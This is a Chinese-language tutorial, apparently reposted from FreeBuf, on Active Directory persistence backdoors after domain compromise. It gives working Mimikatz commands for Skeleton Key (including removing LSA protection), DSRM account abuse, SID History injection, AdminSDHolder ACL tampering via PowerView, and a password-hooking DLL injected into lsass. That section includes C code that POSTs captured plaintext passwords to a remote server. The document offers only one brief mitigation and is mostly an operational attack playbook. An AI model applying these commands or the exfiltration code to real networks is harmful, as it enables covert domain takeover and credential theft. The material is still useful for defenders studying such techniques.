0x00 前言

当获取到域控的权限后,为了防止对域控权限的丢失,hacker 也会使用一些技术来维持已获取到的域权限。因此,本文对常见的域后门技术进行了总结并对其利用方式进行了详细的说明,希望可以对大家的学习提供一些帮助。

0x01 创建 Skeleton Key 域后门

Skeleton Key 即 “万能钥匙”。通过在域控上安装 Skeleton Key,所有域用户账户都可以使用一个相同的密码进行认证,同时原有密码仍然有效。

该技术通过注入 lsass.exe 进程实现,并且创建的 Skeleton Key 只是保存在内存中,域控只要重启,Skeleton Key 就会失效。

注意:利用该技术需要拥有域管理员的权限

1. 常规利用

将 Mimikatz 上传到域控制器,执行以下命令:

mimikatz.exe "privilege::debug" "misc::skeleton" exit

1677855624_64020b8802aaddfbe458a.png!small?1677855625171

执行后,将成功创建 Skeleton Key 域后门,为所有的域账户设置一个相同的密码 “mimikatz”,从而使其他机器可以成功登录域控。

1677855655_64020ba74f83423085d79.png!small?1677855657028

2. 缓解措施

微软在 2014 年 3 月添加了 LSA(Local Security Authority,本地安全机构)保护策略,用来防止对 lsass.exe 进程的内存读取和代码注入。通过执行以下命令,可以开启或关闭 LSA 保护。

# 开启 LSA 保护策略
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭 LSA 保护策略
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

开启LSA 保护策略并重启系统后,Mimikatz 的相关操作都会失败。此时即使已经获取了 Debug 权限也无法读取用户哈希值,更无法安装 Skeleton Key。

1677855699_64020bd3074458e27bad8.png!small?1677855700052

不过,Mimikatz 可以绕过 LSA 保护。该功能需要 Minikatz 项目中的 mimidrv.sys 驱动文件,相应的 Skeleton Key 安装命令也变为了如下:

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

1677855726_64020beea2aeb6ecfcab2.png!small?1677855727480

1677855735_64020bf73b9afa573d07b.png!small?1677855736348

1677855741_64020bfdd1a670f697d5e.png!small?1677855743196

0x02 创建 DSRM 域后门

DSRM(Directory Services Restore Mode,目录服务还原模式)是域控的安全模式启动选项,用于使服务器脱机,以进行紧急维护。在初期安装 Windows 域服务时,安装向导会提示用户设置 DSRM 的管理员密码。有了该密码后,网络管理员可以在后期域控发生问题时修复、还原或重建活动目录数据库。

在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码,相关命令如下:

# 进入 ntdsutil
ntdsutil
# 进入设置 DSRM 账户密码设置模式
set dsrm password
# 在当前域控上恢复 DSRM 密码
reset password on server null
# 输入新密码 123456Lhz!
<password> 
# 再次输入新密码
<password>
# 退出 DSRM 密码设置模式
q
# 退出 ntdsutil
q

1677855788_64020c2c3518b8a7f297e.png!small?1677855789258

hacker 可以通过修改 DSRM 账户的密码,以维持对域控的权限。

该技术适用于 Windows Server 2008 及以后版本的服务器,并需要拥有域管理员的权限

利用过程:

① 执行以下命令,通过 Mimikatz 读取域控的 SAM 文件,获取 DSRM 账户的哈希值。

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

1677855855_64020c6f885ab57bb7e18.png!small?1677855856478

② 修改 DSRM 账户的登录模式,以允许该账户远程登录。可以通过编辑注册表的DsrmAdminLogonBehavior 键值来实现,可选用的登录模式有以下3种:

0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。

1:只有当本地 AD DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。

2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。

执行以下命令,将 DSRM 的登录模式改为 “2”,允许 DSRM 账户在任何情况下都可以登录域控。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

1677855927_64020cb74d1db693969c2.png!small?1677855928243

1677855935_64020cbf9e464565547c9.png!small?1677855936718

③ 这时,hacker 就可以通过 DSRM 账户对域控制器进行控制了。

执行以下命令,使用 DSRM 账户对域控执行哈希传递攻击并成功获取域控权限:

1677856010_64020d0a3a1c30055b1bf.png!small?1677856012262

0x03 SID History 的利用

1. SID & SID History

在 Windows 系统中,SID(Security Identifiers)是指安全标识符,是用户、用户组或其他安全主体的唯一、不可变标识符。

Windows 根据 ACL(访问控制列表)授予或拒绝对资源的访问和特权,ACL 使用 SID 来唯一标识用户及其组成员身份。当用户登录到计算机时,会生成一个访问令牌,其中包含用户和组 SID 和用户权限级别。当用户请求访问资源时,将根据 ACL 检查访问令牌以允许或拒绝对特定对象的特定操作。

如果将账户删除,然后使用相同的名字创建另一个账户,那么新账户不会具有前一个账户的特权或访问权限,这是因为两个账户的 SID 不同。

SID History 是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆到另一个账户,这在域迁移过程中非常有用。例如,当 Domain A 中的用户迁移到 Domain B 时,会在 Domain B 中新创建一个账号。此时,将 Domain A 用户的 SID 添加到 Domain B 的用户账户的 SID History 属性中。这就确保了 Domain B 用户仍然拥有访问 Domain A 中资源的权限。

2. 利用方法

在实战中,hacker 可以将域管理员用户的 SID 添加到其他域用户的 SID History 属性中,以此建立一个隐蔽的域后门。

利用该技术需要拥有域管理员权限

下面在域控制器(Win 2012)上进行实操:

在 Windows Server 2019 上进行测试时可能会报错

① 创建域用户 Alice

1677856153_64020d998bb30b3d42191.png!small?1677856154572

② 向域控制器上传 Mimikatz,并执行以下命令,将域管理员 Administrator 的 SID 添加到域用户 Alice 的 SID History 属性中:

# mimikatz版本大于2.1.0
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:Alice /new:Administrator" exit
# mimikatz版本小于2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Alice ADSAdministrator" exit

1677856182_64020db65efecec7e8ed6.png!small?1677856183294

③ 通过 Powershell 查看 Alice 用户的属性,可以发现其 SID History 属性值已经与 Administrator 用户的 SID 相同,这说明 Alice 用户将继承 Administrator 用户的所有权限。

Import-Module ActiveDirectory
Get-ADUser hack -Properties SIDHistory

1677856241_64020df1b2d6170e247f3.png!small?1677856242847

④ 通过 Alice 用户连接域控,执行 “whoami /priv” 命令,可以看到该用户拥有域管理员的所有特权。

1677856267_64020e0b72b30cad82184.png!small?1677856268890

0x04 利用 AdminSDHolder 打造域后门

1. AdminSDHolder

AdminSDHolder 是一个特殊的 Active Directory 容器对象,位于 Domain NC 的 System 容器下。

1677856322_64020e42e821c73b7b937.png!small?1677856324129

AdminSDHolder 通常作为系统中某些受保护对象的安全模板,以防止这些对象遭受恶意修改或滥用。

受保护对象通常包括系统的特权用户和重要的组,如 Administrator、Domain Admins、Enterprise Admins 以及 Schema Admins 等。

在活动目录中,属性 adminCount 用来标记特权用户和组。对于特权用户和组来说,该属性值被设为 1。

1677856391_64020e87b25c85ba4d583.png!small?1677856392876

通过 ADFind 查询 adminCount 属性设置为 1 的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组。

# 枚举受保护的用户
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
# 枚举受保护的组
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn

1677856413_64020e9d4116293fc5a72.png!small?1677856414499

在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60 分钟为一个工作周期。

2. 利用方法

在实战中,hacker 可以篡改 AdminSDHolder 容器的 ACL 配置。当系统调用 SDProp 进程执行相关工作时,被篡改的 ACL 配置将同步到受保护的 ACL 中,以此建立一个隐蔽的域后门。

利用该技术需要拥有域管理员权限

执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Alice 拥有对 AdminSDHolder 的 “完全控制” 权限。

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

1677856502_64020ef67370ecfc31194.png!small?1677856503572

执行后,Alice 用户成功拥有 AdminSDHolder 容器对象的完全控制权限

1677856538_64020f1a98d816695dec2.png!small?1677856540619

等待 60 分钟后,Alice 用户将获得对系统中的特权用户和组完全控制权限。

1677856562_64020f3228c509ac2630a.png!small?1677856563694

此时,Alice 用户可成功向 Domain Admins 等关键用户组内添加成员。

1677856575_64020f3f109e856c4e0e4.png!small?1677856575944

如果清除 Alice 用户对 AdminSDHolder 的完全控制权限,可以执行以下命令:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

1677856599_64020f57ba464ceaf8cf6.png!small?1677856600783

3. 改变 SDProp 的工作周期

方法1:修改注册表

hacker 也可以通过注册表手动修改 SDProp 进程的工作周期,以缩短等待的时长(最小值1分钟,最大值2小时)。该注册表需要慎重修改, 当修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,该注册表键默认是不存在的。

# 工作周期修改为 1 分钟,键值以秒为单位
reg add HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

1677856642_64020f82928537b94bf14.png!small?1677856643483

方法2:强制 SDProp 执行

① 运行 Ldp.exe(C:\Windows\System32\Ldp.exe)

1677856675_64020fa348b66ece4c152.png!small?1677856676232

② 点击连接 -> 连接,输入当前机器的机器名或IP,端口默认为 389

1677856686_64020faee360b0725ebbe.png!small?1677856687858

③ 点击连接 -> 绑定,选择绑定为当前登录的用户

1677856696_64020fb8c8c425bfc8516.png!small?1677856697688

④ 在修改窗口这里针对不同版本的域控制器有不同的情况:

当域控为Windows Server 2008时,点击浏览 -> 修改,在属性选项卡中输入 FixUpInheritance ,在值字段输入 yes。操作选择添加,然后点击输入,最后运行即可。

1677856773_64021005c23fdd242ecd7.png!small?1677856774816

当域控为Windows Server 2008 R2或Windows Server 2012及以上时,点击浏览 -> 修改,在属性选项卡中输入 RunProtectAdminGroupsTask ,在值字段输入 1。操作选择添加,然后点击输入,最后运行即可。

1677856797_6402101d608bafefb1f28.png!small?1677856798539

0x05 HOOK PasswordChangeNotify

PasswordChangeNotify 在微软官方文档中的名称为 PsamPasswordNotificationRoutine,是一个 Windows API。当用户重置密码时,Windows 会先检查新密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 函数在系统中同步密码。该函数的语法如下:

PSAM_PASSWORD_NOTIFICATION_ROUTINE PsamPasswordNotificationRoutine;
NTSTATUS PsamPasswordNotificationRoutine(
  [in] PUNICODE_STRING UserName,
  [in] ULONG RelativeId,
  [in] PUNICODE_STRING NewPassword
)
{...}

当调用 PasswordChangeNotify 时,用户名和密码将以明文的形式传入。hacker 可以通过 Hook 技术,劫持 PasswordChangeNotify 函数的执行流程,从而获取传入的明文密码。

下面进行演示:

① 生成 DLL 文件,需在项目属性中将MFC的使用设为 ”在静态库中使用MFC“

1677856909_6402108dec14a7bc470c9.png!small?1677856911091

1677856928_640210a0a2a4dc28f62be.png!small?1677856929599

1677856933_640210a5a74a3d4b1470d.png!small?1677856934603

② 将编译好的 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 上传到域控制器,并通过 Invoke-ReflectivePEInjection.ps1 将 HookPasswordChange.dll 注入 lsass.exe 进程。

# 导入 Invoke-ReflectivePEInjection.ps1
Import-Module .\Invoke-ReflectivePEInjection.ps1
# 读取 HookPasswordChange.dll 并将其注入 lsass 进程
$PEBytes = [IO.File]::ReadAllBytes('C:\HookPasswordChange.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass

1677856975_640210cfe276ad796701d.png!small?1677856976892

建议在 Windows Server 2012 上进行测试,Window Server 2019 亲测运行脚本会报错

③ 当管理员修改密码时,用户的新密码将记录在 c:\windows\temp 目录的 password.txt 文件中。

1677857005_640210ed94dbfa64f20c1.png!small?1677857006588

此外,password.txt 文件的保存路径可以自定义,需要在 HookPasswordChange.cpp 文件中修改

1677857022_640210feae86594520b7c.png!small?1677857023871

我们还可以在源码的基础上通过 WinINet API 添加一个简单的 HTTP 请求功能,将获取到的用户密码传回远程服务器,相关代码如下:

// 需要包含 --> #incloud <WinInet.h>
HINTERNET hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternet == NULL)
{
    InternetCloseHandle(hInternet);
}
HINTERNET hSession = InternetConnect(hInternet, L"192.168.220.132", 6666, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);

if (hSession == NULL)
{
    InternetCloseHandle(hSession);
    InternetCloseHandle(hInternet);
}

char strUserName[128];
char strPassword[128];
WideCharToMultiByte(CP_ACP, 0, userName, -1, strUserName, sizeof(strUserName), NULL, NULL);
WideCharToMultiByte(CP_ACP, 0, password, -1, strPassword, sizeof(strPassword), NULL, NULL);
char Credential[128];
snprintf(Credential, sizeof(Credential), "username=%s&password=%s", strUserName, strPassword);
HINTERNET hRequest = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
TCHAR ContentType[] = L"Content-Type: application/x-www-form-urlencoded";
HttpAddRequestHeaders(hRequest, ContentType, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
HttpSendRequest(hRequest, NULL, 0, Credential, strlen(Credential));

重新编译生成 HookPasswordChange.dll 并注入 lsass.exe 进程,当管理员修改密码时,将通过 HTTP POST 方法将用户密码外带到远程服务器。

1677857383_6402126737861bb31ccfd.png!small?1677857384304

加入HTTP 请求功能后重新编译时,如果出现报错:无法解析的外部符合 _imp_XXXXX,可以参考:解决方案

0x06 总结

本文仅仅只对常见的域后门技术进行了总结,希望可以对大家的学习有帮助。如有不对,欢迎指正。

本文作者:LHzzzzz, 转自FreeBuf